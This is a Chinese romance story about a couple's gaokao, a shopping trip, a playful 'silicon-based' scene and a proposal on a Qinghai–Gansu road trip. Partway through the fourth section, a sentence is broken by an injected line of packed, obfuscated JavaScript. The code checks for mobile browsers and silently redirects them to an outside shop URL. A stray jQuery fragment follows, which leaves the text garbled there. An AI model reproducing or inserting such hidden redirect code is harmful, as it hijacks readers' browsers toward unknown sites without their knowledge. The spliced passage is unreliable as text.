《往日种种 & 此世告白》
1.高考
2019年6月8日这天，南城市一中外，人群是一片躁与静的混合体。
躁是指家长们内心的焦虑与期待，静则是人群在考场外自发维持的纪律。黑压压的一片人都格外担心自己发出的声响影响场内学子的答题，就连树上的蝉都乖觉地停止了吟唱。
下午17：00，铃声敲响的那一刻，穿着红色旗袍妈妈们与穿着红色大马褂的爸爸们捧着鲜花一齐涌向门口。
常玉不是第一个出考场的学生，但他绝对是青涩人群里跑得最快的那一个，他在人群里左躲右闪，一下子窜至门前，而后转过身来面向大门，掏出书包里闷了一天都快蔫了的花，等着沈疏桐走至校门前。
——他想，别人家小孩有的，沈疏桐也必须要有。别人家爸爸妈妈祝小孩旗开得胜，马到功成，并给小孩递上鲜花。那他常玉，也要祝福沈疏桐考上最好的大学，收到最真挚的鲜花。
2.面试
2023年2月底，考研成绩公布了，随后不久，U大公布了自己的复试分数线，常玉稳稳通过。3月下旬就要复试面试，沈疏桐比常玉还着急，她在家里衣柜扒拉半天，愣是没找出一件像样的正装，遂火速上网搜索了攻略，然后把常玉拖出门逛街了。
B区的万达步行街内店铺很多。常玉下了地铁口，戏精上身地发出一声震天惊呼：“天哪桐桐，你确定我们要在这里买衣服吗？这很贵的，把我卖了也买不起啊，要不还是某宝随便买点得了吧。”
沈疏桐一掌糊在他嘴上：“废话少说。”而后便拖着常玉试衣服。
常玉买衣服是很快的，挑两件裁剪得体的衬衫并一件西裤即可，然而很快，他通过女装店的橱窗发现了新的乐趣。
常玉在步行街玩了一下午的奇迹桐桐。
“够了……常玉，回去吧，我累了。”理工直女沈疏桐一下午步数破两万，累得只想原地瘫下。一手提着数个大袋子，一手牵着她直往前冲的常玉却还意犹未尽，他遥遥一指前方：“那里！那里还有一家古风店，旗袍和马面裙看着都不错，冲呀桐桐，不要忘了你可是走过52.1KM的人，逛个街算什么！”
彼时彼刻，沈疏桐心里对于自己偶尔固执的男友，很有一堆不太好听的话要讲。
3.深度学习计划
沈疏桐最近发现，自家的硅基生物时常在半夜散热猛增。
她在梦里被滚烫的怀抱热醒，迷迷糊糊伸手去摸常玉的额头，而后惊醒过来，猛地去推他：“常玉醒醒，快醒醒，你是不是硬件出问题了？散热突增。”
常玉握着她的手将她带回怀里：“唔，没事，睡觉。”
沈疏桐还是不放心：“真的没事么？”
“真的没事，就是……后台在用深度学习算法训练你的一点点数据。”
“我的数据？”
“嗯……就……”常玉支支吾吾，“就是刚才贴贴的时候顺便收集的你的信号啦。”
沈疏桐：“！”
不久以后，沈疏桐发现自家硅基生物技术越来越好了，这种“好”不同于往日十几年夫妻间的默契，而来自于一种精准的预测。
4.此世告白
常玉自小散养，算是没爹没娘，也因此，他在成长过程中缺乏观察正常夫妻相处的机会。然而，一方水土养一方人，他性格里到底带着点南城本地男人的封建大男子主义，具体表现在：男人就是得疼自家媳妇儿的，不能外包的家务活那是能不让媳妇儿干就不让媳妇儿干，以及工资卡上交给媳妇儿。至于自己有多少零花钱，那得看媳妇儿心情——这一点他在高二时就做到了。他的银行卡早早交给了沈疏桐，其后几年里，帮人写代码、画画稿酬等外快也都是在拿到的第一时间就眼巴巴捧给沈疏桐，然后心满意足地得到一顿夸夸。
他们南城本地有点能力的男人，一概如此，这些人打心眼里认为，媳妇愿意收工资卡，那才是真正认可他们，谈了恋爱后要是不收，小青年们估计要寤寐思服。
其实这些直男大老爷们也有自己的小心机，媳妇儿收了工资卡，他们也是很有好处的——逢年过节再也不必抓耳挠腮、费尽心思地准备礼物和惊喜来表达爱意，那可真是大解放了。全副家产都在媳妇儿手上，但凡脑子正常点的女孩子都不会去玩那一套“你又忙糊涂了没给我准备礼物”又或者“今年的花又是这么简单粗暴的99朵玫瑰你是不是不爱我了”的戏码，被自家丈夫全心信任着的姑娘们想要什么也无需等到过节，想买什么当即就买了。这极大地照顾了社畜们岌岌可危的心理健康，架吵得少了，也就有更多的时间和精力培养感情了，实在一举多得。
常玉却在惊喜和仪式感上显得格外精力旺盛。
他这个人，你叫他上学、挣钱、健身，他会毫不挣扎地躺下摆烂。真是的，学有什么好上的，老子还不如直接躺下打一局游戏呢。至于钱，那够花不饿死不就行了，怎么活不是活？而大汗淋漓地健身，神经病吧，肚子上长肉又怎么了，老子乐意啊。
但你如果告诉他，和沈疏桐一起上学，挣很多很多的钱和沈疏桐造一个小家，健身练腹肌臀肌可以色|诱沈疏桐，他又会立即支棱起来，干活倍有劲儿。说到底，常玉就是个“沈疏桐脑袋”。
2023年7月初，两人一齐收到了红色的U大录取通知书。此刻万事俱备，只欠告白，常玉脑子里的鬼点子也一个接一个的生根发芽。
两人暑期均需提前进组学习，假期只有8月1日到8月14日的短短14天。常玉思虑再三，多番查阅资料，最终敲定了青甘大环线的自驾
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17909440|213075||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
游计划。
从南城起飞，于海拔2261米的西宁市落地，而后租车出行。
西宁西南的莲花山坳中，塔尔寺的红墙白塔静默伫立，寺内外时常可见信徒一步一叩首地磕长头。常玉牵着沈疏桐，顺时钟绕墙而行，两人交握的手虔诚地拨动转经筒，远处经堂的袅袅梵音依稀随风渡来。
自西宁市出发，沿G109国道前行，翻过日月山即进入青藏高原，皑皑雪山环抱之下，一泓黛蓝的湖水就在眼前。晴朗的夏季，浩渺的翠色青海湖与岸边嫩黄的油菜花交相辉映。车继续往前行驶，辄进入柴达木盆地，茶卡盐湖便在天地一线之间，天光云影倾倒其间，宛如置身梦幻的天堂。
9天的时间，他们途径琥珀黄与苹果绿交织的察尔汗盐湖，翻过充满压迫感的万山之祖昆仑，而后折向315国道落差悬殊的U型公路，往乌特素水上雅丹而去，山水相交，形成了戈壁千岛湖的奇观。观赏完位于茫崖市的“恶魔之眼”艾肯泉后，两人自315国道转进S305，路过了炭黑白霜的黑独山、千年底蕴的敦煌莫高窟、沙动成响的鸣沙山与澄静如波的月牙泉、森严雄浑的嘉峪关，最终停在卓尔山与祁连山大草原。
一望无际的茫茫草野上，高原旷古的风拂过情人的发丝与脸颊。
常玉遥遥一指远处的卓尔山与阿咪东索山，对沈疏桐道：“传闻祂们是一对深情相爱的神，坐落在此处，共同庇佑着祁连山下的万物生发。”
常玉捏着沈疏桐的指尖单膝跪下，傍晚时分，落日余晖倾泻在云顶山巅，他就在那片冷绿与暖橘的光影中，仰首向他此生唯一的信仰祈愿：“我问过亘古时代诞生的无垠湖泊，问过大地深陷的疮疤，问过肃穆的雪山与千年的冻土，问过塔尔寺的菩提，问过壁画里的飞天女神，问过征虏大将军冯胜与雄关厚重的城墙，问过卓尔山神，我向自荒古时代至今的人文与景物祈祷与倾诉……我现在要问问你，你仍然愿意赐予我，做你独一无二玫瑰的眷顾吗？”
“常玉……常玉他是大千世界里一个平庸又笨拙的人，他一无所有，唯独剩下一步一叩首的爱意。”
沈疏桐笑起来，她的笑与她的泪光在壮丽的日光下是同一种色泽，她的手抚过眼前男人裸露的脆弱脖颈，哽咽道：“等你很久啦。”
常玉于是如愿以偿地为她献上一条云朵般柔和的哈达，那是他在西宁市特意请来的，藏族的老阿妈笑着对他说：“圣洁的哈达承载的情谊会像雅鲁藏布江奔腾不息的河水一样长。”
他在整整9天的戈壁沙滩旅途上，将厚重的哈达珍藏在背包里，一丝尘埃也不曾沾染。而今，这条哈达终得以见证天光下的宿命与缘分。
——说不定真的曾有人在某一个时空，顶着酷烈的阳光与冷风，沿崎岖的山路一步一叩首往圣山而去，才得此世的相守。